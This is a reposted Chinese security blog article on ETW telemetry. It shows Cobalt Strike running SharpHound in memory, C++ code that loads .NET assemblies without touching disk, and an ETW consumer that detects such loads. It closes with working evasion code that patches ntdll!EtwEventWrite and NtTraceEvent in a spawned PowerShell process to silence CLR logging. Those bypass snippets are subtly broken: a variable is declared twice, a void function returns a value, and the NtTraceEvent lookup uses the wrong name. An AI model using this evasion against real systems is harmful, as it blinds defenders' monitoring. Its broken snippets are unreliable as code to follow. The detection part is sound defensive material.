查看原文
其他

ETW的攻与防

红队蓝军 2023-03-20

The following article is from 跳跳糖社区 Author Drunkmars

点击蓝字 / 关注我们


前言

ETW全称为Event Tracing for Windows,即windows事件跟踪,它是Windows提供的原生的事件跟踪日志系统。由于采用内核层面的缓冲和日志记录机制,所以ETW提供了一种非常高效的事件跟踪日志解决方案,本文基于ETW探究其攻与防的实现

ETW

事件监测(Event Instrumentation)总会包含两个基本的实体,事件的提供者(ETW Provider)和消费者(ETW Consumer),ETW框架可以视为它们的中介。ETW Provider会预先注册到ETW框架上,提供者程序在某个时刻触发事件,并将标准化定义的事件提供给ETW框架。Consumer同样需要注册到ETW框架上,在注册的时候可以设置事件的删选条件和接收处理事件的回调。对于接收到的事件,如果它满足某个注册ETW Consumer的筛选条件,ETW会调用相应的回调来处理该事件

ETW`针对事件的处理是在某个会话(`ETW Session`)中进行的,`ETW Session`提供了一个接收、存储、处理和分发事件的执行上下文。`ETW`框架可以创建多一个会话来处理由提供者程序发送的事件,但是`ETW Session`并不会与某个单一的提供者绑定在一起,多个提供者程序可以向同一个`ETW Session`发送事件。对于接收到的事件,`ETW Session`可以将它保存在创建的日志文件中,也可以实时地分发给注册的消费者应用。`ETW`会话的开启和终止是通过 `Session`的开启和终止是通过ETW控制器(`ETW Controller`)进行管理的。除了管理`ETW Session`之外,`ETW Controller`还可以禁用或者恢复注册到某个`ETW Session`上的`ETW Provider

在这里,我们可以看到所有已注册的ETW提供者及其对应GUID,我们还可以看到Microsoft-Windows-Threat-Intelligence突出显示的提供者及其InstrumentationManifest位于HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\<PROVIDER_GUID>注册表项的二进制清单文件因为这是一个Manifest-based ETW提供者

logman.exe query providers

image-20220512105644794.png


我们可以使用以下命令获取更多详细信息并了解提供程序支持的事件类型

logman.exe query providers Microsoft-Windows-Threat-Intelligence

image-20220512124646901.png

image-20220512110110750.png



也可以XML Manifest使用此工具检索文件,这使我们可以更详细地了解特定EtwTi事件记录的参数

image-20220512110147258.png


使用x nt!EtwTi*来查看内核里面的所有例程

image-20220512110528763.png


execute-assembly

cs在3.11版本实现了在非托管程序中加载.net程序集的功能,这个功能不需要向硬盘写入文件,十分隐蔽,而且现有的Powershell脚本能够很容易的转换为C#代码,十分方便,使用到的就是execute-assembly这个命令,这里我们用c#程序sharphound.exe进行演示,这个程序用来导出域内关系并可视化

execute-assembly D:\Bloodhound\SharpHound.exe -c all

image-20220513124718747.png

image-20220513124807622.png



首先我们来了解一下托管程序和非托管程序,说到这里就需要提一个CLRCLR全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。CLR.NET Framework的主要执行引擎,作用之一是监视程序的运行:

  • • 在CLR监视之下运行的程序属于托管的代码

  • • 不在CLR之下,直接在裸机上运行的应用或者组件属于非托管的代码

托管程序与非托管程序的概念如下

托管代码就是Visual Basic .NET和C#编译器编译出来的代码。编译器把代码编译成中间语言(IL),而不是能直接在你的电脑上运行的机器码。中间语言被封装在一个叫程序集 (assembly)的文件中,程序集中包含了描述你所创建的类,方法和属性(例如安全需求)的所有元数据。

非托管代码就是在Visual Studio .NET 2002发布之前所创建的代码。例如Visual Basic 6, Visual C++ 6, 最糟糕的是,连那些依然残存在你的硬盘中、拥有超过15年历史的陈旧C编译器所产生的代码都是非托管代码。托管代码直接编译成目标计算机的机械码,这些代 码只能运行在编译出它们的计算机上,或者是其它相同处理器或者几乎一样处理器的计算机上。

再就是Unmanaged API,它其实是一套能将.net程序集加载到任意程序里面的API,它支持ICorRuntimeHost InterfaceICLRRuntimeHost Interface两种接口,我们看一下msdn里面的描述

image-20220512153622148.png


其中ICorRuntimeHost Interface支持的版本有v1.0.3705v1.1.4322v2.0.50727v4.0.30319ICLRRuntimeHost Interface支持的版本有v2.0.50727,v4.0.30319,在实际的开发里面两种接口都是可以使用的

cs实现在非托管程序中加载主要是调用了ICLRRuntimeHost的接口,主要用到以下3个接口

ICLRMetaHost

ICLRRuntimeInfo

ICLRRuntimeHost

ICLRMetaHost提供基于版本号返回特定版本的公共语言运行时 (CLR)、列出所有已安装的 CLR、列出在指定进程中加载的所有运行时、发现用于编译程序集的 CLR 版本、退出进程的方法干净的运行时关闭,并查询旧版 API 绑定

image-20220512154845367.png


ICLRRuntimeInfo提供一些方法,这些方法可返回有关特定公共语言运行时 (CLR) 的信息,包括版本、目录和加载状态。此接口还提供了特定于运行时的功能,而无需初始化运行时。它包括运行时相对 LoadLibrary 方法、运行时模块特定的 GetProcAddress 方法和通过 GetInterface 方法提供的运行时提供的接口

image-20220512154925602.png


ICLRRuntimeHost`提供与 .NET Framework 版本1中提供的 `ICorRuntimeHost`接口类似的功能,其中包含以下更改: 用于设置宿主控件接口的 `SetHostControl`方法的添加,省略提供的某些方法 `ICorRuntimeHost

image-20220512155157965.png


硬盘加载

首先这里我们写一个Printf函数,使用Console.WriteLine接收

namespace etw1
{
    class Program
    {
        static int Main(String[] args)
        {
            return 1;
        }
        static int Printf(String strings)
        {
            Console.WriteLine(strings);
            return 1;
        }
    }
}

在服务端我们首先使用CLRCreateInstance初始化ICLRMetaHost接口

CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&iMetaHost);

然后调用GetRuntime方法获取ICLRRuntimeInfo接口

iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&iRuntimeInfo);

再使用ICLRRuntimeInfo将 CLR加载到当前进程,返回运行时接口ICLRRuntimeHost指针

iRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&iRuntimeHost);

然后再通过ICLRRuntimeHost.EecuteInDefaultAppDomain执行指定程序

    iRuntimeHost->ExecuteInDefaultAppDomain
    (L"F:\\C#\\etw1\\bin\\Debug\\etw1.exe", L"etw1.Program", L"Printf", L"etw1", NULL);

实现效果如下

image-20220512182344215.png


内存加载

内存加载相对于硬盘加载,首先是整个过程都会在内存执行而不会写入文件,隐蔽性较好,而且最终的payload为c#程序,调用powershell十分方便利用

那么我们来进行代码的实现,首先还是初始化CLR环境

    CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost);
    iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
    iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
    iRuntimeHost->Start();

然后使用ICLRRuntimeHost获取AppDomain接口指针,然后通过AppDomain接口的QueryInterface方法来查询默认应用程序域的实例指针

    iRuntimeHost->GetDefaultDomain(&pAppDomain);
    pAppDomain->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);

image-20220512195501155.png


使用Load_3(…)从内存中读取并加载.NET程序集

    saBound[0].cElements = ASSEMBLY_LENGTH;
    saBound[0].lLbound = 0;
    SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, saBound);

    SafeArrayAccessData(pSafeArray, &pData);
    memcpy(pData, dotnetRaw, ASSEMBLY_LENGTH);
    SafeArrayUnaccessData(pSafeArray);

    pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
    pAssembly->get_EntryPoint(&pMethodInfo);

创建安全数组并执行入口点

    ZeroMemory(&vRet, sizeof(VARIANT));
    ZeroMemory(&vObj, sizeof(VARIANT));
    vObj.vt = VT_NULL;

    vPsa.vt = (VT_ARRAY | VT_BSTR);
    args = SafeArrayCreateVector(VT_VARIANT, 0, 1);

    if (argc > 1)
    {
        vPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, argc);
        for (long i = 0; i < argc; i++)
        {
            SafeArrayPutElement(vPsa.parray, &i, SysAllocString(argv[i]));
        }

        long idx[1] = { 0 };
        SafeArrayPutElement(args, idx, &vPsa);
    }

    HRESULT hr = pMethodInfo->Invoke_3(vObj, args, &vRet);

image-20220512211127018.png

image-20220512211108513.png



检测execute-assembly

一般检测execute-assembly都会使用windows事件跟踪,即ETW,例如这里启动一个powershell进程,通过procexp查看可以看到被CLR托管的dll

image-20220512214614676.png

image-20220513125227900.png



我们可以从processhacker工具源码里面的asmpage.c(https://github.com/processhacker/processhacker/blob/master/plugins/DotNetTools/asmpage.c)源码里面查看这类工具是怎样枚举`.net`工具集的,这里挑出关键代码编译成`etw2.exe`

static GUID ClrRuntimeProviderGuid = { 0xe13c0d23, 0xccbc, 0x4e12, { 0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4 } };

const char name[] = "dotnet trace\0";

#pragma pack(1)
typedef struct _AssemblyLoadUnloadRundown_V1
{
    ULONG64 AssemblyID;
    ULONG64 AppDomainID;
    ULONG64 BindingID;
    ULONG AssemblyFlags;
    WCHAR FullyQualifiedAssemblyName[1];
} AssemblyLoadUnloadRundown_V1, * PAssemblyLoadUnloadRundown_V1;
#pragma pack()

static void NTAPI ProcessEvent(PEVENT_RECORD EventRecord) {

    PEVENT_HEADER eventHeader = &EventRecord->EventHeader;
    PEVENT_DESCRIPTOR eventDescriptor = &eventHeader->EventDescriptor;
    AssemblyLoadUnloadRundown_V1* assemblyUserData;

    switch (eventDescriptor->Id) {
    case AssemblyDCStart_V1:
        assemblyUserData = (AssemblyLoadUnloadRundown_V1*)EventRecord->UserData;
        wprintf(L"[%d] - Assembly: %s\n", eventHeader->ProcessId, assemblyUserData->FullyQualifiedAssemblyName);
        break;
    }
}

int main(void)
{
    TRACEHANDLE hTrace = 0;
    ULONG result, bufferSize;
    EVENT_TRACE_LOGFILEA trace;
    EVENT_TRACE_PROPERTIES* traceProp;

    printf(".net_ETW_finder\n\n");

    memset(&trace, 0, sizeof(EVENT_TRACE_LOGFILEA));
    trace.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD;
    trace.LoggerName = (LPSTR)name;
    trace.EventRecordCallback = (PEVENT_RECORD_CALLBACK)ProcessEvent;

    bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(name) + sizeof(WCHAR);

    traceProp = (EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize);
    traceProp->Wnode.BufferSize = bufferSize;
    traceProp->Wnode.ClientContext = 2;
    traceProp->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
    traceProp->LogFileMode = EVENT_TRACE_REAL_TIME_MODE | EVENT_TRACE_USE_PAGED_MEMORY;
    traceProp->LogFileNameOffset = 0;
    traceProp->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);

    if ((result = StartTraceA(&hTrace, (LPCSTR)name, traceProp)) != ERROR_SUCCESS) {
        printf("[!] Error starting trace: %d\n", result);
        return 1;
    }

    if ((result = EnableTraceEx(
        &ClrRuntimeProviderGuid,
        NULL,
        hTrace,
        1,
        TRACE_LEVEL_VERBOSE,
        0x8, // LoaderKeyword
        0,
        0,
        NULL
    )) != ERROR_SUCCESS) {
        printf("[!] Error EnableTraceEx\n");
        return 2;
    }

    hTrace = OpenTrace(&trace);
    if (hTrace == INVALID_PROCESSTRACE_HANDLE) {
        printf("[!] Error OpenTrace\n");
        return 3;
    }

    result = ProcessTrace(&hTrace, 1, NULL, NULL);
    if (result != ERROR_SUCCESS) {
        printf("[!] Error ProcessTrace\n");
        return 4;
    }

    return 0;
}

首先cs上线

image-20220512212858818.png


然后启动我们的监控程序

image-20220512215550869.png


在beacon里面调用SharpHound.exe,这里需要在域内且具有.net环境才能够运行成功,执行以下命令

execute-assembly D:\Bloodhound\SharpHound.exe 1.2.3.4

image-20220512215639441.png


这里就会在exe存放的位置生成以下三个文件

image-20220512220715962.png


然后我们去看一下我们的监控程序,可以看到已经识别出了SharpHound的调用

image-20220512215704961.png


这里如果想要规避检测,可以更改程序名的名字,但是这里只要修改检测方法为显示可疑方法的名称即可

switch (eventDescriptor->Id) {
  case MethodLoadVerbose_V1:
    methodUserData = (struct _MethodLoadVerbose_V1*)EventRecord->UserData;
    WCHAR* MethodNameSpace = methodUserData->MethodNameSpace;
    WCHAR* MethodName = (WCHAR*)(((char*)methodUserData->MethodNameSpace) + (lstrlenW(methodUserData->MethodNameSpace) * 2) + 2);
    WCHAR* MethodSignature = (WCHAR*)(((char*)MethodName) + (lstrlenW(MethodName) * 2) + 2);
    wprintf(L"[%d] - MethodNameSpace: %s\n", eventHeader->ProcessId, methodUserData->MethodNameSpace);
}

这里通过select-string查找SharpHound方法

image-20220512213010406.png


这里还是启动一下我们的SharpHound程序

image-20220512213027871.png

image-20220512213036239.png



可以看到还是被监控到了Sharphound2.Sharphound方法

image-20220512213114820.png


规避ETW检测

通过查阅资料后发现ETW将 TRUE布尔参数传递到nt!EtwpStopTrace函数中,以查找 ETW特定结构并动态修改或修补ntdll!ETWEventWriteadvapi32!EventWrite立即返回从而停止用户模式记录器

也就是说在3环ETW是通过ntdll.dllEtwEventWriteFull函数实现的

image-20220512222805809.png


往下跟发现调用了EtwEventWriteFull,然后EtwEventWriteFull调用EtwpEventWriteFull

image-20220512223054442.png


我们继续往下看EtwEventWriteFull函数,调用了NtTraceEvent

image-20220512223238120.png


继续跟NtTraceEvent,可以发现NtTraceEvent通过syscall进入内核

image-20220512223402930.png


这里我们可以打印一下地址

image-20220513122021737.png


那么我们在EtwEventWriteFull直接使用0xc3ret返回,即可达到绕过的效果,首先我们通过x64dbg和powershell验证一下

首先使用x64dbg创建一个powershell进程,这时x64dbg会在线程初始化前下一个断点

定位到ntdll!EtwEventWrite

image-20220512223941657.png

image-20220512223957730.png



一般windows api默认使用stdcall(x86)调用约定,这里x64默认使用fastcall,即寄存器传参,被调用者清理堆栈,所以我们直接使用retC3返回即可

image-20220512224033566.png


查看CLR日志已经被清空

image-20220512224950161.png


这里通过代码实现,定位到ntdll!EtwEventWrite函数,然后在入口处ret返回即可,使用VirtualProtectEx修改属性

void bypassetw()
{
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(si);

    CreateProcessA(NULL, (LPSTR)"powershell -NoExit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

    unsigned char pEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };

    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    LPVOID pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)pEtwEventWrite);

    DWORD oldProtect;
    char patch = 0xc3;

    VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);

    VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
    ResumeThread(pi.hThread);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    FreeLibrary(hNtdll);
    return 0;

}

实现效果如下,可以看到起了一个powershell进程,查看CLR日志也被清空

image-20220513104316834.png


这里可能某些EDR会hookEtwEventWrite这个函数,那么我们直接往syscall进0环的函数去挂钩,代码如下

unsigned char sNtTraceEvent[] = { 'N','t','T','r','a','c','e','E','v','e','n','t', 0};
LPVOID pNtTraceEvent = GetProcAddress(hNtdll, (LPCSTR)sEtwEventWrite);

可以看到CLR日志也被清空

image-20220513123017709.png



推荐阅读:
CodeQL能找到log4shell(CVE-2021-44228)漏洞吗?
浅谈hook攻防
HOW DO YOU ACTUALLY FIND BUGS?(译文)
对抗无落地的shellcode注入
渗透测试工具 OWASP ZAP 的 RCE 反制






跳跳糖是一个安全社区,旨在为安全人员提供一个能让思维跳跃起来的交流平台。
跳跳糖持续向广大安全从业者征集高质量技术文章,可以是漏洞分析,事件分析,渗透技巧,安全工具等等。
通过审核且发布将予以500RMB-1000RMB不等的奖励,具体文章要求可以查看“投稿须知”。

阅读更多原创技术文章,戳“阅读全文


加下方wx,拉你一起进群学习

往期推荐

SEH异常之编译器原理探究

什么?你还不会webshell免杀?(三)

初探栈溢出

windows环境下的自保护探究

记一次内部红队渗透——定位张三

对抗无落地的shellcode注入

spring常见漏洞总结

什么?你还不会webshell免杀?(二)

什么?你还不会webshell免杀?(一)

利用卷影拷贝服务提取ntds.dit


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存